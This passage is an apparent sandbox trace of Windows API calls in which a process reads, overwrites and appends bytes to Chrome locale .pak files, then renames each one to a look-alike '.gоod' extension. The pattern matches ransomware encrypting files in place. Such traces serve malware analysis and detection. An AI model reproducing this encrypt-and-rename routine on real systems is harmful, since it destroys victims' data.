dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0099.302] GetFileType (hFile=0x7c8) returned 0x1 [0099.302] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0099.302] GetFileType (hFile=0x7c8) returned 0x1 [0099.302] WriteFile (in: hFile=0x7c8, lpBuffer=0x32f4dc0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbebb58, lpOverlapped=0x0 | out: lpBuffer=0x32f4dc0*, lpNumberOfBytesWritten=0x1fbebb58*=0x1010, lpOverlapped=0x0) returned 1 [0099.302] CloseHandle (hObject=0x7c8) returned 1 [0099.302] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\bg.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\bg.pak", lpFilePart=0x0) returned 0x4c [0099.302] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\bg.pak.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\bg.pak.gоod", lpFilePart=0x0) returned 0x51 [0099.302] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0099.302] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\bg.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\bg.pak"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe44571e0, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe44571e0, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x3767be46, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x7388a)) returned 1 [0099.303] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0099.303] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\bg.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\bg.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\bg.pak.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\bg.pak.gоod")) returned 1 [0099.303] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\bn.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\bn.pak", lpFilePart=0x0) returned 0x4c [0099.303] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0099.303] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\bn.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\bn.pak"), fInfoLevelId=0x0, lpFileInformation=0x35c5370 | out: lpFileInformation=0x35c5370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4515ed1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4515ed1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x517badf4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x96010)) returned 1 [0099.305] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba90) returned 1 [0099.305] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\bn.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\bn.pak", lpFilePart=0x0) returned 0x4c [0099.305] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0099.305] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\bn.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\bn.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0099.305] GetFileType (hFile=0x7c8) returned 0x1 [0099.305] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0099.305] GetFileType (hFile=0x7c8) returned 0x1 [0099.305] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1000 [0099.305] ReadFile (in: hFile=0x7c8, lpBuffer=0x35c5788, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaf8, lpOverlapped=0x0 | out: lpBuffer=0x35c5788*, lpNumberOfBytesRead=0x1fbebaf8*=0x1000, lpOverlapped=0x0) returned 1 [0099.307] CloseHandle (hObject=0x7c8) returned 1 [0099.307] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\bn.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\bn.pak", lpFilePart=0x0) returned 0x4c [0099.307] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0099.307] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\bn.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\bn.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0099.308] GetFileType (hFile=0x7c8) returned 0x1 [0099.308] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0099.308] GetFileType (hFile=0x7c8) returned 0x1 [0099.308] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x96010 [0099.308] WriteFile (in: hFile=0x7c8, lpBuffer=0x35c6b30*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeba18, lpOverlapped=0x0 | out: lpBuffer=0x35c6b30*, lpNumberOfBytesWritten=0x1fbeba18*=0x10, lpOverlapped=0x0) returned 1 [0099.369] CloseHandle (hObject=0x7c8) returned 1 [0099.369] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\bn.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\bn.pak", lpFilePart=0x0) returned 0x4c [0099.369] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0099.369] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\bn.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\bn.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0099.369] GetFileType (hFile=0x7c8) returned 0x1 [0099.369] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0099.369] GetFileType (hFile=0x7c8) returned 0x1 [0099.369] ReadFile (in: hFile=0x7c8, lpBuffer=0x36486d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaa8, lpOverlapped=0x0 | out: lpBuffer=0x36486d8*, lpNumberOfBytesRead=0x1fbebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0099.451] CloseHandle (hObject=0x7c8) returned 1 [0099.451] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\bn.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\bn.pak", lpFilePart=0x0) returned 0x4c [0099.451] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0099.451] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\bn.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\bn.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0099.451] GetFileType (hFile=0x7c8) returned 0x1 [0099.451] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0099.451] GetFileType (hFile=0x7c8) returned 0x1 [0099.451] WriteFile (in: hFile=0x7c8, lpBuffer=0x3647430*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbebb58, lpOverlapped=0x0 | out: lpBuffer=0x3647430*, lpNumberOfBytesWritten=0x1fbebb58*=0x1010, lpOverlapped=0x0) returned 1 [0099.451] CloseHandle (hObject=0x7c8) returned 1 [0099.451] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\bn.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\bn.pak", lpFilePart=0x0) returned 0x4c [0099.451] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\bn.pak.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\bn.pak.gоod", lpFilePart=0x0) returned 0x51 [0099.451] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0099.451] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\bn.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\bn.pak"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4515ed1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4515ed1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x377d3592, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x96020)) returned 1 [0099.452] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0099.452] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\bn.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\bn.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\bn.pak.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\bn.pak.gоod")) returned 1 [0099.452] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ca.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ca.pak", lpFilePart=0x0) returned 0x4c [0099.452] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0099.452] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ca.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ca.pak"), fInfoLevelId=0x0, lpFileInformation=0x37407e8 | out: lpFileInformation=0x37407e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4515ed1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4515ed1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x517e6d14, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x47028)) returned 1 [0099.453] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba90) returned 1 [0099.453] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ca.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ca.pak", lpFilePart=0x0) returned 0x4c [0099.453] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0099.453] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ca.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ca.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0099.453] GetFileType (hFile=0x7c8) returned 0x1 [0099.453] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0099.453] GetFileType (hFile=0x7c8) returned 0x1 [0099.453] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1000 [0099.453] ReadFile (in: hFile=0x7c8, lpBuffer=0x3740c00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaf8, lpOverlapped=0x0 | out: lpBuffer=0x3740c00*, lpNumberOfBytesRead=0x1fbebaf8*=0x1000, lpOverlapped=0x0) returned 1 [0099.459] CloseHandle (hObject=0x7c8) returned 1 [0099.459] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ca.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ca.pak", lpFilePart=0x0) returned 0x4c [0099.459] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0099.459] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ca.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ca.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0099.459] GetFileType (hFile=0x7c8) returned 0x1 [0099.460] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0099.460] GetFileType (hFile=0x7c8) returned 0x1 [0099.460] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x47028 [0099.460] WriteFile (in: hFile=0x7c8, lpBuffer=0x3745148*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeba18, lpOverlapped=0x0 | out: lpBuffer=0x3745148*, lpNumberOfBytesWritten=0x1fbeba18*=0x10, lpOverlapped=0x0) returned 1 [0099.617] CloseHandle (hObject=0x7c8) returned 1 [0099.859] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ca.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ca.pak", lpFilePart=0x0) returned 0x4c [0099.859] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0099.859] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ca.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ca.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0099.859] GetFileType (hFile=0x768) returned 0x1 [0099.859] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0099.859] GetFileType (hFile=0x768) returned 0x1 [0099.859] ReadFile (in: hFile=0x768, lpBuffer=0x3451de8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaa8, lpOverlapped=0x0 | out: lpBuffer=0x3451de8*, lpNumberOfBytesRead=0x1fbebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0099.890] CloseHandle (hObject=0x768) returned 1 [0099.890] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ca.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ca.pak", lpFilePart=0x0) returned 0x4c [0099.890] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0099.890] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ca.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ca.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0099.890] GetFileType (hFile=0x768) returned 0x1 [0099.891] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0099.891] GetFileType (hFile=0x768) returned 0x1 [0099.891] WriteFile (in: hFile=0x768, lpBuffer=0x3450b40*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbebb58, lpOverlapped=0x0 | out: lpBuffer=0x3450b40*, lpNumberOfBytesWritten=0x1fbebb58*=0x1010, lpOverlapped=0x0) returned 1 [0099.891] CloseHandle (hObject=0x768) returned 1 [0099.891] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ca.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ca.pak", lpFilePart=0x0) returned 0x4c [0099.891] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ca.pak.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ca.pak.gоod", lpFilePart=0x0) returned 0x51 [0099.891] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0099.891] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ca.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ca.pak"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4515ed1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4515ed1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x37c1daa7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x47038)) returned 1 [0099.892] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0099.892] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ca.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ca.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ca.pak.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ca.pak.gоod")) returned 1 [0099.892] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\cs.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\cs.pak", lpFilePart=0x0) returned 0x4c [0099.892] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0099.892] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\cs.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\cs.pak"), fInfoLevelId=0x0, lpFileInformation=0x34ce538 | out: lpFileInformation=0x34ce538*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4515ed1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4515ed1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x5183c444, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x4818c)) returned 1 [0099.893] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba90) returned 1 [0099.893] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\cs.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\cs.pak", lpFilePart=0x0) returned 0x4c [0099.893] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0099.893] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\cs.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\cs.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0099.893] GetFileType (hFile=0x768) returned 0x1 [0099.893] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0099.893] GetFileType (hFile=0x768) returned 0x1 [0099.893] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1000 [0099.893] ReadFile (in: hFile=0x768, lpBuffer=0x34ce950, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaf8, lpOverlapped=0x0 | out: lpBuffer=0x34ce950*, lpNumberOfBytesRead=0x1fbebaf8*=0x1000, lpOverlapped=0x0) returned 1 [0100.039] CloseHandle (hObject=0x768) returned 1 [0100.040] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\cs.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\cs.pak", lpFilePart=0x0) returned 0x4c [0100.040] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0100.040] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\cs.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\cs.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0100.040] GetFileType (hFile=0x768) returned 0x1 [0100.040] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0100.041] GetFileType (hFile=0x768) returned 0x1 [0100.041] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x4818c [0100.041] WriteFile (in: hFile=0x768, lpBuffer=0x336c130*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeba18, lpOverlapped=0x0 | out: lpBuffer=0x336c130*, lpNumberOfBytesWritten=0x1fbeba18*=0x10, lpOverlapped=0x0) returned 1 [0100.042] CloseHandle (hObject=0x768) returned 1 [0100.042] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\cs.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\cs.pak", lpFilePart=0x0) returned 0x4c [0100.042] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0100.043] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\cs.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\cs.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0100.043] GetFileType (hFile=0x768) returned 0x1 [0100.043] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0100.043] GetFileType (hFile=0x768) returned 0x1 [0100.043] ReadFile (in: hFile=0x768, lpBuffer=0x336e3f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaa8, lpOverlapped=0x0 | out: lpBuffer=0x336e3f0*, lpNumberOfBytesRead=0x1fbebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0100.669] CloseHandle (hObject=0x768) returned 1 [0100.669] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\cs.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\cs.pak", lpFilePart=0x0) returned 0x4c [0100.669] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0100.669] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\cs.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\cs.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0100.669] GetFileType (hFile=0x768) returned 